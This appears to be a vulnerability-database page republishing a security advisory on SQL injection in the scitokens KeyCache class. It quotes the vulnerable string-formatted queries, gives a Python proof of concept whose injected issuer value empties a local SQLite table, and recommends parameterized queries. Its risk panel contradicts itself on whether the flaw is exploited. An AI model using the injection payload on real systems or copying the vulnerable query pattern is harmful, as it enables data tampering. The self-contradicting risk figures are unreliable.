Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

PYSEC-2026-530

CriticalCVSS 9.8 / 10
Published Jun 29, 2026·Last modified Jun 29, 2026
Affected Components(0)

No affected components available

Description

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

  1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
  2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
  3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.49%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard